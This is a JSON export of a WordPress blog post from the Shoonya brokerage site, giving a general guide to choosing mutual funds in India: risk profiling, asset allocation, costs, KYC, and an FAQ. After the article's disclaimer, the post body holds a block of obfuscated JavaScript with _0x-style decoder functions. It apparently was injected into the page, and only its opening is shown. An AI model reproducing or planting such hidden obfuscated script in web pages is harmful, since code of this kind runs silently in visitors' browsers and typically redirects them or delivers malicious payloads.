{"id":366,"date":"2022-12-26T10:59:33","date_gmt":"2022-12-26T10:59:33","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=366"},"modified":"2023-08-28T12:14:46","modified_gmt":"2023-08-28T12:14:46","slug":"how-to-choose-mutual-funds","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/","title":{"rendered":"How to Choose Mutual Funds: A Comprehensive Guide"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#How_to_Invest_in_Mutual_Funds_5_Easy_Steps\" >How to Invest in Mutual Funds: 5 Easy Steps<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Step_1_Risk_Profiling_for_Informed_Investing\" >Step 1: Risk Profiling for Informed Investing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Step_2_Asset_Allocation_for_Balanced_Returns\" >Step 2: Asset Allocation for Balanced Returns<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Step_3_Identify_Funds_and_Compare_Performance\" >Step 3: Identify Funds and Compare Performance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Step_4_Select_the_Right_Mutual_Fund_Scheme\" >Step 4: Select the Right Mutual Fund Scheme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Step_5_Diversification_and_Regular_Monitoring\" >Step 5: Diversification and Regular Monitoring<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#How_to_Invest_in_Mutual_Funds_Online\" >How to Invest in Mutual Funds Online<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Option_1_Through_AMCs_Official_Website\" >Option 1: Through AMC&#8217;s Official Website<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Option_2_Via_Mobile_App\" >Option 2: Via Mobile App<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Understanding_How_Mutual_Funds_Work\" >Understanding How Mutual Funds Work<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Asset_Management_Company_AMC_and_Fund_Managers\" >Asset Management Company (AMC) and Fund Managers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Expense_Ratio_and_Costs_of_Investing\" >Expense Ratio and Costs of Investing<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Key_Considerations_Before_Investing_in_Mutual_Funds\" >Key Considerations Before Investing in Mutual Funds<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Defining_Investment_Goals\" >Defining Investment Goals<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Selecting_the_Right_Fund\" >Selecting the Right Fund<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Risk_Assessment\" >Risk Assessment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Ensuring_KYC_Compliance\" >Ensuring KYC Compliance<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Imagine growing your savings while professionals manage them for you. That&#8217;s the essence of Mutual Funds \u2013 investment vehicles pooling money from investors, managed by experts. If Mutual Fund Investments sound daunting, don&#8217;t worry. We&#8217;ve compiled the essential insights from multiple sources into this guide on how to choose mutual funds, designed especially for Indian investors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_Mutual_Funds_5_Easy_Steps\"><\/span><strong>How to Invest in Mutual Funds: 5 Easy Steps<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_1_Risk_Profiling_for_Informed_Investing\"><\/span><strong>Step 1: Risk Profiling for Informed Investing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Understanding your risk tolerance is crucial. Assess the amount of risk you can comfortably handle before delving into mutual funds. Your risk profile will guide your investment decisions.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_2_Asset_Allocation_for_Balanced_Returns\"><\/span><strong>Step 2: Asset Allocation for Balanced Returns<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">After risk profiling, allocate your funds across various asset classes. Optimal asset allocation balances risk and reward. Diversify between equity and debt instruments to manage risk factors effectively.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_3_Identify_Funds_and_Compare_Performance\"><\/span><strong>Step 3: Identify Funds and Compare Performance<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Classify funds based on asset classes. Evaluate past performance and investment objectives of mutual funds. This step aids in shortlisting funds that align with your goals.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_4_Select_the_Right_Mutual_Fund_Scheme\"><\/span><strong>Step 4: Select the Right Mutual Fund Scheme<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Choose the mutual fund scheme that aligns with your financial goals and risk tolerance. Once decided, you can initiate the application online or offline through the Asset Management Company&#8217;s (AMC) official website.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_5_Diversification_and_Regular_Monitoring\"><\/span><strong>Step 5: Diversification and Regular Monitoring<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Diversifying your investments and conducting regular follow-ups are essential for maximizing results and increasing profits. Stay informed about your portfolio&#8217;s performance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_Mutual_Funds_Online\"><\/span><strong>How to Invest in Mutual Funds Online<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Option_1_Through_AMCs_Official_Website\"><\/span><strong>Option 1: Through AMC&#8217;s Official Website<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Each AMC provides an official website with a range of mutual fund options. Follow instructions, fill required details, and submit your application. The KYC process can be completed online using Aadhar Number and PAN.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Option_2_Via_Mobile_App\"><\/span><strong>Option 2: Via Mobile App<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">AMCs offer mobile apps for easy, hassle-free investments. These apps enable investment in Mutual Fund Schemes, viewing account statements, buying\/selling units, and checking portfolio details. Third-party mutual fund aggregators also provide platforms for investing through apps.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Understanding_How_Mutual_Funds_Work\"><\/span><strong>Understanding How Mutual Funds Work<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Asset_Management_Company_AMC_and_Fund_Managers\"><\/span><strong>Asset Management Company (AMC) and Fund Managers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">AMCs pool investments from individuals with shared investment objectives. Funds are invested according to the fund&#8217;s goal \u2013 stocks, bonds, commodities, etc. Fund managers, financial experts, manage these investments to achieve growth and appreciation for investors.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Expense_Ratio_and_Costs_of_Investing\"><\/span><strong>Expense Ratio and Costs of Investing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Expense Ratio: This is the percentage of average assets under management utilized for AMC expenses. It includes administration, fund management, distribution, and more.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One-Time Charge\/Transaction Charge: Nominal fees for transactions, usually waived for investments under Rs.10,000.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Exit Load: Applied when withdrawing funds quickly, set as a percentage of the scheme&#8217;s Net Asset Value (NAV).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">STT and Stamp Duty: Securities Transaction Tax (STT) on selling mutual fund units, while Stamp Duty applies to issuance and transfer of units.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Considerations_Before_Investing_in_Mutual_Funds\"><\/span><strong>Key Considerations Before Investing in Mutual Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Defining_Investment_Goals\"><\/span><strong>Defining Investment Goals<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Clearly define your goals \u2013 buying a house, education, retirement, etc. This foundation guides fund selection.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Selecting_the_Right_Fund\"><\/span><strong>Selecting the Right Fund<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Research thoroughly based on investment objective, risk appetite, and affordability. Financial advisors can offer guidance if needed.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Risk_Assessment\"><\/span><strong>Risk Assessment<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Different funds come with varying risks. High-return schemes often have higher stakes. Choose equity schemes for high-risk appetites and debt schemes for balanced returns.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ensuring_KYC_Compliance\"><\/span><strong>Ensuring KYC Compliance<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Investment requires Know Your Customer (KYC) compliance. Possess a valid PAN card and address proof.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Despite numerous investment options, Mutual Funds remain practical for wealth growth. With professional management by fund managers and portfolio diversification, they&#8217;re reliable choices. This guide arms you with essential knowledge to confidently invest in mutual funds, aligned with your financial goals.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span><strong>FAQs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1693224659079\"><strong class=\"schema-faq-question\">What are the different investment options available in Mutual Funds?<\/strong> <p class=\"schema-faq-answer\">Mutual funds offer options like equity funds, debt funds, hybrid funds, and more, each catering to different risk profiles and investment goals.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224678287\"><strong class=\"schema-faq-question\">Can I invest in Mutual Funds for short-term goals?<\/strong> <p class=\"schema-faq-answer\">Yes, you can invest in funds with shorter investment horizons like liquid funds, ultra-short duration funds, and overnight funds.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224690852\"><strong class=\"schema-faq-question\">How do I choose between lump-sum investment and SIP?<\/strong> <p class=\"schema-faq-answer\">Lump-sum investments are suitable if you have ready funds, while Systematic Investment Plans (SIPs) are ideal for rupee cost averaging and compounding benefits.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224705693\"><strong class=\"schema-faq-question\">What role does the fund manager play?<\/strong> <p class=\"schema-faq-answer\">Fund managers make crucial investment decisions, aligning with the fund&#8217;s objectives. Checking their track record and the fund house&#8217;s history is vital before investing.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224720405\"><strong class=\"schema-faq-question\">Are there tax implications on mutual fund investments?<\/strong> <p class=\"schema-faq-answer\">Yes, different tax rates apply to equity and non-equity funds based on the holding period. Understanding these tax implications is essential before investing.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224736446\"><strong class=\"schema-faq-question\">How can I stay updated about my portfolio&#8217;s performance?<\/strong> <p class=\"schema-faq-answer\">AMCs&#8217; mobile apps and online portals provide access to account statements and portfolio details. Regularly monitoring your investments ensures you stay informed about your performance.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1693224754325\"><strong class=\"schema-faq-question\">Is investing in Mutual Funds safe?<\/strong> <p class=\"schema-faq-answer\">While mutual funds come with risks, they&#8217;re professionally managed and diversified, reducing potential risks. It&#8217;s crucial to align your investments with your risk appetite and financial goals.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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That&#8217;s the essence of Mutual Funds \u2013 investment vehicles pooling money from investors, managed by experts. If Mutual Fund Investments sound daunting, don&#8217;t worry. We&#8217;ve compiled the essential insights from multiple sources into this guide on how to choose mutual funds, designed especially for Indian &hellip; <a href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How to Choose Mutual Funds: A Comprehensive Guide&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":418,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[328,2363,329,330,211],"class_list":["post-366","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-best-mutual-fund","tag-how-to-choose-mutual-funds","tag-investment-decision","tag-investment-strategy","tag-mutual-funds-investment"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How to Choose Mutual Funds: A Comprehensive Guide<\/title>\n<meta name=\"description\" content=\"Learn how to choose mutual funds in India wisely. Discover the steps, factors, and expert insights to select the right funds for your investment goals.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Choose Mutual Funds: A Comprehensive Guide\" \/>\n<meta property=\"og:description\" content=\"Learn how to choose mutual funds in India wisely. Discover the steps, factors, and expert insights to select the right funds for your investment goals.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/how-to-choose-mutual-funds\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2022-12-26T10:59:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-08-28T12:14:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/How-to-choose-the-best-mutual-funds.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"How to Choose Mutual Funds: A Comprehensive Guide\",\"datePublished\":\"2022-12-26T10:59:33+00:00\",\"dateModified\":\"2023-08-28T12:14:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/\"},\"wordCount\":841,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/How-to-choose-the-best-mutual-funds.jpg\",\"keywords\":[\"best Mutual Fund\",\"How to Choose Mutual Funds\",\"investment decision\",\"Investment Strategy\",\"Mutual Funds Investment\"],\"articleSection\":[\"Mutual Funds\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/\",\"name\":\"How to Choose Mutual Funds: A Comprehensive Guide\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/how-to-choose-mutual-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/How-to-choose-the-best-mutual-funds.jpg\",\"datePublished\":\"2022-12-26T10:59:33+00:00\",\"dateModified\":\"2023-08-28T12:14:46+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Learn how to choose mutual funds in India wisely. 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